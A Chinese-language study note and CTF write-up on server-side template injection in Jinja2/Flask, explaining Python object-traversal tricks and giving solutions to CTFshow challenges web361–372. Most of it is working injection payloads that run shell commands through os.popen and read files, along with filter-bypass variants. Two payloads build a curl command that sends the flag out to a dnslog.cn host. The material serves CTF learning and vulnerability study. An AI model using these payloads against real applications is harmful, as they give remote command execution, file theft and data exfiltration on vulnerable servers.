SSTI漏洞学习
1.漏洞成因
ssti主要为python的一些框架 jinja2 mako tornado django,PHP框架smarty twig,java框架jade velocity等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。
2.模板引擎
模板感觉就像是一个固定的方程,将数据套进去,就可以的到输入者想要的结果,模板使得数据与与界面分离,业务代码与逻辑代码的分离,能够大大提高开发效率。
模板只是一种提供用来解析数据的语法,能够让数据变成直观的视觉表现,其实现方法在前端和后端都有。即拿到数据,塞入模板,让渲染函数将塞进去的数据生成视觉表现,再返还给浏览器,提高效率。
一个小例子
<html>
<div>{$what}</div>
</html>
我们想要呈现在每个用户面前自己的名字。但是{$what}我们不知道用户名字是什么,用一些url或者cookie包含的信息,渲染到what变量里,呈现给用户的为
<html>
<div>张三</div>
</html>
3.服务器端模板注入
通过模板,我们输入的数据就会经过渲染转换成特定的html文件,比如页面上显示的 hello world,这个时候输出的内容可能就是通过服务器验证而返回的内容。
eg:
$output = $twig->render( $_GET[‘custom_username’] , array(“first_name” => $user.first_name) );
假如我们输入url:
127.0.0.1/?custom_username={{7*7}}
会返回49.
如果继续custom_username={{self}}
返回
f<templatereference none=""></templatereference>
在{{}}里,他将我们的代码进行了执行。服务器将我们的数据经过引擎解析的时候,进行了执行,模板注入与sql注入成因有点相似,都是信任了用户的输入,将不可靠的用户输入不经过滤直接进行了执行,用户插入了恶意代码同样也会执行。
4.ssti代码初学
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
我们在pycharm中运行代码
print("".__class__)
返回了<class 'str'>,对于一个空字符串他已经打印了str类型,在python中,每个类都有一个bases属性,列出其基类。现在我们写代码。
print("".__class__.__bases__)
打印返回(<class 'object'>,),我们已经找到了他的基类object,而我们想要寻找object类的不仅仅只有bases,同样可以使用mro,mro给出了method resolution order,即解析方法调用的顺序。我们实例打印一下mro。
print("".__class__.__mro__)
可以看到返回了(<class 'str'>, <class 'object'>),同样可以找到object类,正是由于这些但不仅限于这些方法,我们才有了各种沙箱逃逸的姿势。正如上面的解释,mro返回了解析方法调用的顺序,将会打印两个。在flask ssti中poc中很大一部分是从object类中寻找我们可利用的类的方法。我们这里只举例最简单的。接下来我们增加代码。接下来我们使用subclasses,subclasses() 这个方法,这个方法返回的是这个类的子类的集合,也就是object类的子类的集合。
print("".__class__.__bases__[0].__subclasses__())
我们需要找到合适的类,然后从合适的类中寻找我们需要的方法。通过大概猜测找到是第119个类,0也对应一个类,所以这里写[118]。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118]}}
这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__}}
此时我们可以在网页上看到各种各样的参数方法函数。我们找其中一个可利用的function popen,在python2中可找file读取文件,
http://127.0.0.1:5000/test?{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}
5.ctf绕过tips
1.过滤【】等括号
使用gititem绕过。如原poc {{"".class.bases[0]}}
绕过后{{"".class.bases.getitem(0)}}
2.过滤subclasses,拼凑法
原poc{{"".class.bases[0].subclasses()}}
绕过 {{"".class.bases[0]'subcla'+'sses'}}
3.过滤class,使用session
poc {{session['cla'+'ss'].bases[0].bases[0].bases[0].bases[0].subclasses()[118]}}
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{{session['__cla'+'ss__'].__mro__[12]}}
or
request['__cl'+'ass__'].__mro__[12]}}
6.一些语法作用
__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
__subclasses__() //继承此对象的子类,返回一个列表
魔术函数
__dict__类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里的对象的__dict__中存储了一些self.xxx的一些东西内置的数据类型没有__dict__属性每个类有自己的__dict__属性,就算存在继承关系,父类的__dict__ 并不会影响子类的__dict__对象也有自己的__dict__属性, 存储self.xxx 信息,父子类对象公用__dict__
__globals__该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
__getattribute__()实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
题目:
web 361
先输入**{{7*'7'}}**
回显为7777777,说明是Jinja2的模板
payloadL:
?name={{''.__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
挨个解释一下
1._ _ class _ _将空字符串转化为对象
2.利用_ _ mro_ _获取这个对象的基类,因为要拿object,在底层,所以要这个列表的__mro__[-1]
倒数第一层
3.__subclasses__
这里是继承该对象的子类,并返回一个列表,也就是我们的内建函数,至于为什么是132,我们可以看一下支持哪些模块,然后调用该模块下的函数
?name={{[].__class__.__base__.__subclasses__()}}
有许多模块。
4.__init__
实例化这个类
5.globals利用这个魔术变量调用
os模块,因为132是
os._wrap_close,这里引用了
os`模块
6.调用os
模块下的函数popen
7.调用read()函数读取文件
还有 lipsum and cycler
?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
web362
跟上一题一样,用liplsum方法。
1. ?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
2. ?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
第二种的 思路
调用内置的url_for
函数,获取基类__builtins__
,调用里面的eval
方法,重铸os
,模块,调用模块里面的popen
命令执行函数查看flag
,打开文件之后,利用read()
获取回显
web363
过滤了引号
1.用request.args
先给一个payload
{{"".__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("cat /falg").read()}}
第一个引号的作用是什么,是为了引出基类,而任何数据结构都可以引出基类,所以这里可以直接使用数组代替,所以上述payload就变成了:
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__["os"]["popen"]("cat /flag").read()}}
可以使用request.args来绕过此处引号的过滤。
request.args是flask中一个存储着请求参数以及其值的字典,我们可以像这样来引用他:
{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os
后面的所有引号都可以使用该方法进行绕过.
payload:
?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.os](request.args.cmd).read()}}&os=popen&cmd=cat /flag
?name={{[].__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.os](request.args.cmd).read()}}&os=popen&cmd=cat /f*
两种
web364
过滤了args,用cookie代替即可
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
Cookie:a=os;b=popen;c=cat /flag
web365
过滤了单双引号和【】
过滤中括号对我们影响最大的是什么,前边两个中括号都是为了从数组中取值,而后续的中括号实际是不必要的,globals["os"]可以替换为globals.os
?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}
Cookie:a=cat /flag
跟上边差不多
上边也提过了,可以使用gititem来绕过
a[0]与a.getitem(0)的效果是一样的
?name={{lipsum.__globals__.__getitem__(request.cookies.a).popen(request.cookies.b).read()}}
Cookie:a=os;b=cat /flag
web366
过滤了‘ “ _ [] args
这里用attr方法:request|attr(request.cookies.a)等价于request[“a”]
payload:
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
Cookie:a=__globals__;b=cat /flag
web367
比上题多过滤了许多,测出来还有os
把os拉出来
?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}
Cookie:a=__globals__;b=os;c=cat /flag
web368
又多过滤了 {{ ,用{% %}来绕过
?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}
Cookie:a=__globals__;b=os;c=cat /flag
web369
过滤了requests
拿config来凑字符,_
被ban了,所以__str__()
用不了,这里拿string过滤器来得到config的字符串:config|string
,但是获得字符串后本来应该用中括号或者__getitem__()
,但是问题是_
被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,
看了网上的博客:(https://blog.csdn.net/miuzzx/article/details/110220425)
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
{% set po=dict(po=a,p=a)|join%} #通过dict()和join构造pop
{% set a=(()|select|string|list)|attr(po)(24)%} #a等价于下划线
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%} #通过拼接得到__init__
#glo、geti、built同理
#再往后,调用chr,构造/flag,读取文件
web370
过滤了数字
将数字转化成全角数字,脚本
def half2full(half):
full = ''
for ch in half:
if ord(ch) in range(33, 127):
ch = chr(ord(ch) + 0xfee0)
elif ord(ch) == 32:
ch = chr(0x3000)
else:
pass
full += ch
return full
while 1:
t = ''
s = input("输入想要转换的数字字符串:")
for i in s:
t += half2full(i)
print(t)
payload:
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
web371
过滤了print
使用dnslog外带,然后为了简单绕过数字,生成的dnslog链接不要有数字
?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(tgmmmm=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}
web372
过滤了count,用length来代替count
?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(xsbxxp=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}
END:
1.过滤了引号,用【】或args
2.过滤了args,用cookie
3.过滤了单双引号和【】,用gititem
4.过滤了_ ,用attr方法
5.过滤了os,将os拉出来即可
6.过滤了{{,用{% %}
7.过滤了request,用字符拼接的方法
8.过滤了数字,将数字转化为半角
9.过滤了print/count, 拼接字符。
ssti比较基础的一部分,下周开始学别的漏洞。
参考链接:
1.web362 – 365 – 技术小白的成长之路 (crilwa.asia)